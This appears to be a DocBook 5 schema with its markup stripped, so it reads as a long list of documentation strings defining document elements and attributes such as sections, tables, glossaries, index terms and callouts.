    + + + + Identifies the type of URI specified + + + + + + + + + + + + + + + + + + + A Uniform Resource Identifier + + + + +
    +
    + + + + + + + + + + + + + + + A unit of information + + + + +
    +
    + + + + + + + + + + + + + + + The classification of a value + + + + +
    + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + Data entered by the user + + + + + + +
    +
    + + + + + + + + + + + + + + + An abbreviation, especially one followed by a period + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An often pronounceable word made from the initial (or selected) letters of a name or phrase + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An inline bibliographic reference to another published work + + + + + + +
    +
    + + + + + + + + + + + + + + + A citation to a reference page + + + + + + + +
    +
    + + + + + + + + + + + + + + + The title of a reference page + + + + + + +
    +
    + + + + + + + + + + + + + + + A reference volume number + + + + +
    +
    + + + article + An article + bbs + A bulletin board system + book + A book + cdrom + A CD-ROM + chapter + A chapter (as of a book) + dvd + A DVD + emailmessage + An email message + gopher + A gopher page + journal + A journal + manuscript + A manuscript + newsposting + A posting to a newsgroup + part + A part (as of a book) + refentry + A reference entry + section + A section (as of a book or article) + series + A series + set + A set (as of books) + webpage + A web page + wiki + A wiki page + + + + + Identifies the nature of the publication being cited + + + + + + + + + + + + + + + + + + + + + The title of a cited work + + + + + + +
    +
    + + + + + + + + + + + + + + + Emphasized text + + + + + + +
    +
    + + + A limited span of emphasized text + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A word or phrase in a language other than the primary language of the document + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A span of text + + + + + + +
    +
    + + + A limited span of text + + + + +
    +
    + + + + + + + + + + + + + + + An inline quotation + + + + + + +
    +
    + + + + + + + + + + + + + + + A subscript (as in H2 +O, the molecular formula for water) + + + + +
    +
    + + + + + + + + + + + + + + + A superscript (as in x^2, the mathematical notation for x multiplied by itself) + + + + +
    +
    + + + copyright + A copyright + registered + A registered copyright + service + A service + trade + A trademark + + + + + Identifies the class of trade mark + + + + + + + + + + + + + + + + + + + + + A trademark + + + + +
    +
    + + + + + + + + + + + + + + + A word meant specifically as a word and not representing anything else + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A cross reference to a footnote (a footnote mark) + + + @linkend on footnoteref must point to a footnote. + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A cross reference to another part of the document + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A hypertext link + + + + + + +
    +
    + + + + + + + + + Holds additional information that may be used by the applicatoin when resolving the link + + + + + Specifies the URI of the document in which the link target appears + + + + + + Specifies the location of the link target in the document + + + + + Identifies application-specific customization of the link behavior + + + + + + + + + + + + + + + + + + + + + + + + + + A link that addresses its target indirectly + + + + + + +
    +
    + + + + + + + + + + + + + + A spot in the document + + + + +
    +
    + + + + + + + + + + + + + + A text-only annotation, often used for accessibility + + + + + + + + + +
    + + + Identifies one or more annotations that apply to this element + + +
    + + + + + + Identifies one ore more elements to which this annotation applies + + + + + + + + + + + + + + + + + + + An annotation + + + annotation must not occur in the descendants of annotation + + + + + + + + + +
    + + + + Specifies the XLink traversal-from + + + + + + + + Specifies the XLink label + + + + + + + + Specifies the XLink traversal-to + + + + +
    + + + + + + + + + + + + Identifies the XLink link type + extended + An XLink extended link + + + + + + + + + + + + + An XLink extended link + + + + + + + + + +
    +
    + + + + + + + + + + + + Identifies the XLink link type + locator + An XLink locator link + + + + + + + + + + + + + + + + + An XLink locator in an extendedlink + + + + +
    +
    + + + + + + + + + + + + Identifies the XLink link type + arc + An XLink arc link + + + + + + + + + + + + + + + + + + + + + + + + + An XLink arc in an extendedlink + + + + +
    + + + Identifies the editorial or publication status of the element on which it occurs + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A collection of books + + + The root element must have a version attribute. + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A book + + + The root element must have a version attribute. + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A wrapper for the dedication section of a book + + + The root element must have a version attribute. + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + Text at the back of a book describing facts about its production + + + The root element must have a version attribute. + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + An appendix in a Book or Article + + + The root element must have a version attribute. + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A chapter, as of a book + + + The root element must have a version attribute. + + + + + + + +
    + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A division in a book + + + The root element must have a version attribute. + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + Introductory matter preceding the first chapter of a book + + + The root element must have a version attribute. + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + An introduction to the contents of a part + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A recursive section + + + The root element must have a version attribute. + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A section of a document with no subdivisions + + + + + + + +
    +
    + + + + + + + + + + + + + + + Acknowledgements in an Article + + + + + + +
    + + + +
    + + + + + + faq + A collection of frequently asked questions. + journalarticle + An article in a journal or other periodical. + productsheet + A description of a product. + specification + A specification. + techreport + A technical report. + whitepaper + A white paper. + + + + + Identifies the nature of the article + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + An article + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A top-level section of document + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection within a Sect1 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection within a Sect2 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection within a Sect3 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection within a Sect4 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + A collection of reference entries + + + The root element must have a version attribute. + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + A reference page (originally a UNIX man-style reference page) + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Meta-information for a reference entry + + + + + + + + + + + + + + + + +
    + + + source + The name of the software product or component to which this topic applies + version + The version of the software product or component to which this topic applies + manual + The section title of the reference page (e.g., User Commands) + sectdesc + The section title of the reference page (believed synonymous with "manual" but in wide use) + software + The name of the software product or component to which this topic applies (e.g., SunOS x.y; believed synonymous with "source" but in wide use) + + + + + + Identifies the kind of miscellaneous information + + + + + + + Identifies the nature of non-standard miscellaneous information + + + + + + Identifies the kind of miscellaneious information + other + Indicates that the information is some 'other' kind. + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + Meta-information for a reference entry other than the title and volume number + + + + +
    +
    + + + + + + + + + + + + + + + The name, purpose, and classification of a reference page + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A description of the topic of a reference page + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of (one of) the subject(s) of a reference page + + + + + + +
    +
    + + + + + + + + + + + + + + + A short (one sentence) synopsis of the topic of a reference page + + + + + + +
    +
    + + + + + + + + + + + + + + + The scope or other indication of applicability of a reference entry + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A syntactic synopsis of the subject of the reference page + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + A recursive section in a refentry + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A major subsection of a reference entry + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection of a refsect1 + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A subsection of a refsect2 + + + The root element must have a version attribute. + + + + + + + + + +
    + + + + + + + + + + Specifies the base form of the term, the one that appears in the glossary. This allows adjectival, plural, and other variations of the term to appear in the element. The element content is the default base form. + + + +
    + + + + + + + + + + + + + + + + + + A wrapper for a list of glossary entries + + + + + + + + + + + + +
    +
    + + + + + + Specifies the string by which the element's content is to be sorted; if unspecified, the content is used + + + + + + + + + + + + + + + + + An entry in a Glossary or GlossList + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + Specifies a list of keywords for the definition + + + + + + + + + + + + + + + + + A definition in a GlossEntry + + + + + + + + + +
    +
    + + + + + + Identifies the other term + + + + + + + + + + + + + + + + + + A cross-reference from one glossentry + to another + + + @otherterm on glosssee must point to a glossentry. + + + + + + + + +
    +
    + + + + + + Identifies the other term + + + + + + + + + + + + + + + + + + A cross-reference from one GlossEntry to another + + + @otherterm on glossseealso must point to a glossentry. + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + The first occurrence of a term + + + @linkend on firstterm must point to a glossentry. + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + A glossary term + + + @linkend on glossterm must point to a glossentry. + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A glossary + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A division in a Glossary + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + An inline definition of a term + + + A termdef must contain a glossterm + + + + + + + + +
    + + + Identifies the relationship between the bibliographic elemnts + + +
    + + + + + + + + + + + + + + + An entry in a Bibliography + + + + + + +
    +
    + + + + + + + + + + + + + + + An entry in a Bibliography + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A raw container for related bibliographic information + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A cooked container for related bibliographic information + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Untyped bibliographic information + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A bibliography + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A section of a Bibliography + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for a list of bibliography entries + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + The units (for example, pages) used to identify the beginning and ending of a reference. + + + + + + Identifies the beginning of a reference; the location within the work that is being referenced. + + + + + + Identifies the end of a reference. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A cross-reference to a bibliographic entry + + + + +
    + + + normal + Normal + preferred + Preferred + + + + + Specifies the significance of the term + + + + + + Specifies the IDs of the elements to which this term applies + + + + + + Indicates the page on which this index term occurs in some version of the printed document + + + + + all + All indexes + global + The global index (as for a combined index of a set of box) + local + The local index (the index for this document only) + + + + + Specifies the scope of the index term + + + + + + Specifies the string by which the term is to be sorted; if unspecified, the term content is used + + + + + Specifies the target index for this term + + +
    + + + + + + + + + + + + + + + A set of index terms in the meta-information of a document + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + Identifies the class of index term + singular + A singular index term + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A wrapper for an indexed term + + + + +
    +
    + + + + + + Identifies the class of index term + startofrange + The start of a range + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A wrapper for an indexed term that covers a range + + + + +
    +
    + + + + + + Identifies the class of index term + endofrange + The end of a range + + + + + Points to the start of the range + + + + + + + + + + + + + + + + + Identifies the end of a range associated with an indexed term + + + + +
    +
    + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + The primary word or phrase under which an index term should be sorted + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A secondary word or phrase in an index term + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A tertiary word or phrase in an index term + + + + + + +
    +
    + + + + + + + + + + + + + + + Part of an index term directing the reader instead to another entry in the index + + + + + + +
    +
    + + + + + + + + + + + + + + + Part of an index term directing the reader also to another entry in the index + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + An index to a book or part of a book + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + An index to a set of books + + + The root element must have a version attribute. + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A division in an index + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An entry in an index + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A primary term in an index entry, not in the text + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A secondary term in an index entry, rather than in the text + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A tertiary term in an index entry, rather than in the text + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A See +entry in an index, rather than in the text + + + + + + +
    +
    + + + + + + + + + + + + + + + + + A See also + entry in an index, rather than in the text + + + + + + +
    + + + Indicates the page on which this element occurs in some version of the printed document + + +
    + + + + + + + + + + + + + + + + + + A table of contents + + + The root element must have a version attribute. + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + A division in a table of contents + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + A component title in a table of contents + + + + + + +
    + + + +
    + + + + + + + + + + + + + + + A task to be completed + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A summary of a task + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + The prerequisites for a task + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + Information related to a task + + + + + + + +
    + + + calspair + Coordinates expressed as a pair of CALS graphic coordinates. + linecolumn + Coordinates expressed as a line and column. + linecolumnpair + Coordinates expressed as a pair of lines and columns. + linerange + Coordinates expressed as a line range. + + + + + + Identifies the units used in the coords attribute The default units vary according to the type of callout specified: calspair + for graphics and linecolumn + for line-oriented elements. + + + + + + + + Indicates that non-standard units are used for this area +. In this case otherunits + must be specified. + other + Coordinates expressed in some non-standard units. + + + + Identifies the units used in the coords + attribute when the units + attribute is other +. This attribute is forbidden otherwise. + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + A list of callout +s + + + + + + + + + + +
    +
    + + + + + + Identifies the areas described by this callout. + + + + + + + + + + + + + + + A called out + description of a marked Area + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A program listing with associated areas used in callouts + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + A collection of regions in a graphic or code example + + + + + + + + + +
    +
    + + + + + + Point to the callout +s which refer to this area. (This provides bidirectional linking which may be useful in online presentation.) + + + + + + Specifies an identifying number or string that may be used in presentation. The area label might be drawn on top of the figure, for example, at the position indicated by the coords attribute. + + + + + Provides the coordinates of the area. The coordinates must be interpreted using the units + specified. + + + + + + + + + + + + + + + + + + + + + + + + A region defined for a Callout in a graphic or code example + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + A region defined for a Callout in a graphic or code example + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A set of related areas in a graphic or code example + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A screen with associated areas used in callouts + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for an image object with callouts + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + The location of a callout embedded in text + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A cross reference to a co + + + + +
    +
    + + + + + + + + + + + + + + + + + + A set of EBNF productions + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A production in a set of EBNF productions + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The left-hand side of an EBNF production + + + + +
    +
    + + + + + + + + + + + + + + + The right-hand side of an EBNF production + + + + + + + + + + + +
    +
    + + + + + + Specifies a URI that points to a production +where the nonterminal + is defined + + + + + + + + + + + + + + + A non-terminal in an EBNF production + + + + +
    +
    + + + + + + + + + + + + + + + A constraint in an EBNF production + + + + +
    +
    + + + + + + + + + + + + + + + A cross-reference to an EBNF production + + + + +
    +
    + + + + + + + + + + + + + + + + + + The definition of a constraint in an EBNF production + + + + + + + +
    + + + Specifies the alignment character when align + is set to char +. + + + + + Specifies the percentage of the column's total width that should appear to the left of the first occurance of the character identified in char + when align + is set to char +. + + + + + Specifies how the table is to be framed. Note that there is no way to obtain a border on only the starting edge (left, in left-to-right writing systems) of the table. + + all + Frame all four sides of the table. In some environments with limited control over table border formatting, such as HTML, this may imply additional borders. + bottom + Frame only the bottom of the table. + none + Place no border on the table. In some environments with limited control over table border formatting, such as HTML, this may disable other borders as well. + sides + Frame the left and right sides of the table. + top + Frame the top of the table. + topbot + Frame the top and bottom of the table. + + + + + + Specifies the presence or absence of the column separator + + + + + Specifies the presence or absence of the row separator + + + + + Specifies the orientation of the table + + land + 90 degrees counter-clockwise from the rest of the text flow. + port + The same orientation as the rest of the text flow. + + + + + + Specifies the table style + + + + + Indicates whether or not the entries in the first column should be considered row headers + + firstcol + Indicates that entries in the first column of the table are functionally row headers (analogous to the way that a thead provides column headers). + norowheader + Indicates that entries in the first column have no special significance with respect to column headers. + + + + + + Specifies the horizontal alignment of text in an entry. + + center + Centered. + char + Aligned on a particular character. + justify + Left and right justified. + left + Left justified. + right + Right justified. + + + + + + Specifies the vertical alignment of text in an entry. + + bottom + Aligned on the bottom of the entry. + middle + Aligned in the middle. + top + Aligned at the top of the entry. + + + + + + Specifies a column specification by name. + + + + + Specifies a starting column by name. + + + + + Specifies a span by name. + + + + + + Specifies a starting column by name. + + + Specifies an ending column by name. + + + + + + + + + + + + + + Provides a name for a column specification. + + + + + Provides a name for a span specification. + + +
    + + + + + + Additional style information for downstream processing; typically the name of a style. + + + + + The number of columns in the table. Must be an integer greater than zero. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A wrapper for the main content of a table, or part of a table + + + + + + + + + + + + + + + + +
    +
    + + + + + + The number of the column to which this specification applies. Must be greater than any preceding column number. Defaults to one more than the number of the preceding column, if there is one, or one. + + + + + + Specifies the width of the column. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Specifications for a column in a table + + + + +
    +
    + + + + + + Specifies a starting column by name. + + + + + Specifies an ending column by name. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Formatting information for a spanned column in a table + + + + +
    +
    + + + + + + + + + + + + + + + + + + A table header consisting of one or more rows + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A table footer consisting of one or more rows + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for the rows of a table or informal table + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A row in a table + + + + + + + + + +
    +
    + + + + + + Specifies the number of additional rows which this entry occupies. Defaults to zero. + + + + + + Specifies the rotation of this entry. FIXME: what are the legal values of this attribute? + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A cell in a table + + + + + + + + + + + +
    +
    + + + + + + Additional style information for downstream processing; typically the name of a style. + + + + + The number of columns in the entry table. Must be an integer greater than zero. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A subtable appearing in place of an Entry in a table + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A table header consisting of one or more rows + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for the rows of a table or informal table + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + A row in a table + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Indicates if the short or long title should be used in a List of Tables + + 0 + Indicates that the full title should be used. + 1 + Indicates that the short short title (titleabbrev) should be used. + + + + + + Indicates if the table should appear in a List of Tables + + 0 + Indicates that the table should not occur in the List of Tables. + 1 + Indicates that the table should appear in the List of Tables. + + + + + + + + + + + + + + A formal table in a document + + + example must not occur in the descendants of table + + + + + figure must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + caution must not occur in the descendants of table + + + + + important must not occur in the descendants of table + + + + + note must not occur in the descendants of table + + + + + tip must not occur in the descendants of table + + + + + warning must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + informaltable must not occur in the descendants of table + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A table without a title + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + This attribute assigns a class name or set of class names to an element. Any number of elements may be assigned the same class name or names. Multiple class names must be separated by white space characters. + + + + + This attribute specifies style information for the current element. + + + + + This attribute offers advisory information about the element for which it is set. + + + + + + + + This attribute specifies the base language of an element's attribute values and text content. The default value of this attribute is unknown. + + + + + + + + Occurs when the pointing device button is clicked over an element. + + + + + Occurs when the pointing device button is double clicked over an element. + + + + + Occurs when the pointing device button is pressed over an element. + + + + + Occurs when the pointing device button is released over an element. + + + + + Occurs when the pointing device is moved onto an element. + + + + + Occurs when the pointing device is moved while it is over an element. + + + + + Occurs when the pointing device is moved away from an element. + + + + + Occurs when a key is pressed and released over an element. + + + + + Occurs when a key is pressed down over an element. + + + + + Occurs when a key is released over an element. + + + + + + + + + + + + + + + + + Specifies the alignment of data and the justification of text in a cell. + + left + Left-flush data/Left-justify text. This is the default value for table data. + center + Center data/Center-justify text. This is the default value for table headers. + right + Right-flush data/Right-justify text. + justify + Double-justify text. + char + Align text around a specific character. If a user agent doesn't support character alignment, behavior in the presence of this value is unspecified. + + + + + + This attribute specifies a single character within a text fragment to act as an axis for alignment. The default value for this attribute is the decimal point character for the current language as set by the lang attribute (e.g., the period in English and the comma in French). User agents are not required to support this attribute. + + + + + When present, this attribute specifies the offset to the first occurrence of the alignment character on each line. If a line doesn't include the alignment character, it should be horizontally shifted to end at the alignment position. When charoff is used to set the offset of an alignment character, the direction of offset is determined by the current text direction (set by the dir attribute). In left-to-right texts (the default), offset is from the left margin. In right-to-left texts, offset is from the right margin. User agents are not required to support this attribute. + + + + + + + + Specifies the vertical position of data within a cell. + + top + Cell data is flush with the top of the cell. + middle + Cell data is centered vertically within the cell. This is the default value. + bottom + Cell data is flush with the bottom of the cell. + baseline + All cells in the same row as a cell whose valign attribute has this value should have their textual data positioned so that the first text line occurs on a baseline common to all cells in the row. This constraint does not apply to subsequent text lines in these cells. + + + + + + + + + Provides a summary of the table's purpose and structure for user agents rendering to non-visual media such as speech and Braille. + + + + + Specifies the desired width of the entire table and is intended for visual user agents. When the value is a percentage value, the value is relative to the user agent's available horizontal space. In the absence of any width specification, table width is determined by the user agent. + + + + + Specifies the width (in pixels only) of the frame around a table. + + + + + Specifies which sides of the frame surrounding a table will be visible. + + void + No sides. This is the default value. + above + The top side only. + below + The bottom side only. + hsides + The top and bottom sides only. + lhs + The left-hand side only. + rhs + The right-hand side only. + vsides + The right and left sides only. + box + All four sides. + border + All four sides. + + + + + + Specifies which rules will appear between cells within a table. The rendering of rules is user agent dependent. + + none + No rules. This is the default value. + groups + Rules will appear between row groups (see thead, tfoot, and tbody) and column groups (see colgroup and col) only. + rows + Rules will appear between rows only. + cols + Rules will appear between columns only. + all + Rules will appear between all rows and columns. + + + + + + Specifies how much space the user agent should leave between the left side of the table and the left-hand side of the leftmost column, the top of the table and the top side of the topmost row, and so on for the right and bottom of the table. The attribute also specifies the amount of space to leave between cells. + + + + + Specifies the amount of space between the border of the cell and its contents. If the value of this attribute is a pixel length, all four margins should be this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins should be equally separated from the content based on a percentage of the available vertical space, and the left and right margins should be equally separated from the content based on a percentage of the available horizontal space. + + + + + + + + + Provides an abbreviated form of the cell's content and may be rendered by user agents when appropriate in place of the cell's content. Abbreviated names should be short since user agents may render them repeatedly. For instance, speech synthesizers may render the abbreviated headers relating to a particular cell before rendering that cell's content. + + + + + This attribute may be used to place a cell into conceptual categories that can be considered to form axes in an n-dimensional space. User agents may give users access to these categories (e.g., the user may query the user agent for all cells that belong to certain categories, the user agent may present a table in the form of a table of contents, etc.). Please consult an HTML reference for more details. + + + + + Specifies the list of header cells that provide header information for the current data cell. The value of this attribute is a space-separated list of cell names; those cells must be named by setting their id attribute. Authors generally use the headers attribute to help non-visual user agents render header information about data cells (e.g., header information is spoken prior to the cell data), but the attribute may also be used in conjunction with style sheets. + + + + + Specifies the set of data cells for which the current header cell provides header information. This attribute may be used in place of the headers attribute, particularly for simple tables. + + row + The current cell provides header information for the rest of the row that contains it + col + The current cell provides header information for the rest of the column that contains it. + rowgroup + The header cell provides header information for the rest of the row group that contains it. + colgroup + The header cell provides header information for the rest of the column group that contains it. + + + + + + Specifies the number of rows spanned by the current cell. The default value of this attribute is one (1 +). The value zero (0 +) means that the cell spans all rows from the current row to the last row of the table section (thead +, tbody +, or tfoot +) in which the cell is defined. + + + + + Specifies the number of columns spanned by the current cell. The default value of this attribute is one (1 +). The value zero (0 +) means that the cell spans all columns from the current column to the last column of the column group (colgroup +) in which the cell is defined. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + A formal table in a document + + + example must not occur in the descendants of table + + + + + figure must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + caution must not occur in the descendants of table + + + + + important must not occur in the descendants of table + + + + + note must not occur in the descendants of table + + + + + tip must not occur in the descendants of table + + + + + warning must not occur in the descendants of table + + + + + table must not occur in the descendants of table + + + + + informaltable must not occur in the descendants of table + + + + + + +
    +
    + + + + + + + + + A table without a title + + + + +
    +
    + + + + + + A caption + + + example must not occur in the descendants of caption + + + + + figure must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + caution must not occur in the descendants of caption + + + + + important must not occur in the descendants of caption + + + + + note must not occur in the descendants of caption + + + + + tip must not occur in the descendants of caption + + + + + warning must not occur in the descendants of caption + + + + + sidebar must not occur in the descendants of caption + + + + + task must not occur in the descendants of caption + + + + + + +
    +
    + + + + + + This attribute, whose value must be an integer > 0, specifies the number of columns spanned + by the col + element; the col + element shares its attributes with all the columns it spans. The default value for this attribute is 1 (i.e., a single column). If the span attribute is set to N > 1, the current col + element shares its attributes with the next N-1 columns. + + + + + Specifies a default width for each column spanned by the current col + element. It has the same meaning as the width + attribute for the colgroup + element and overrides it. + + + + + + + + + Specifications for a column in an HTML table + + + + +
    +
    + + + + + + This attribute, which must be an integer > 0, specifies the number of columns in a column group. In the absence of a span attribute, each colgroup + defines a column group containing one column. If the span attribute is set to N > 0, the current colgroup + element defines a column group containing N columns. User agents must ignore this attribute if the colgroup + element contains one or more col + elements. + + + + + This attribute specifies a default width for each column in the current column group. In addition to the standard pixel, percentage, and relative values, this attribute allows the special form 0* + (zero asterisk) which means that the width of the each column in the group should be the minimum width necessary to hold the column's contents. This implies that a column's entire contents must be known before its width may be correctly computed. Authors should be aware that specifying 0* + will prevent visual user agents from rendering a table incrementally. This attribute is overridden for any column in the column group whose width is specified via a col + element. + + + + + + + + + A group of columns in an HTML table + + + + + + +
    +
    + + + + + + + + + + A table header consisting of one or more rows + + + + + + +
    +
    + + + + + + + + + + A table footer consisting of one or more rows + + + + + + +
    +
    + + + + + + + + + + A wrapper for the rows of a table or informal table + + + + + + +
    +
    + + + + + + + + + + A row in an HTML table + + + + + + + + + +
    +
    + + + + + + + + + + + A table header entry in an HTML table + + + + + + + + + + + +
    +
    + + + + + + + + + + + A table entry in an HTML table + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A detailed set of messages, usually error messages + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A wrapper for an entry in a message set + + + + + + + + + + + + +
    +
    + + + + + + The audience to which the message relevant + + + + + The origin of the message + + + + + The level of importance or severity of a message + + + + + + + + + + + + + + + + + A wrapper for a simpler entry in a message set + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A message in a message set + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + The primary component of a message in a message set + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A subcomponent of a message in a message set + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A related component of a message in a message set + + + + + +
    +
    + + + + + + + + + + + + + + + The actual text of a message component in a message set + + + + + + +
    +
    + + + + + + + + + + + + + + + Information about a message in a message set + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The level of importance or severity of a message in a message set + + + + +
    +
    + + + + + + + + + + + + + + + The origin of a message in a message set + + + + +
    +
    + + + + + + + + + + + + + + + The audience to which a message in a message set is relevant + + + + +
    +
    + + + + + + + + + + + + + + + + + + Explanatory material relating to a message in a message set + + + + + + + +
    +
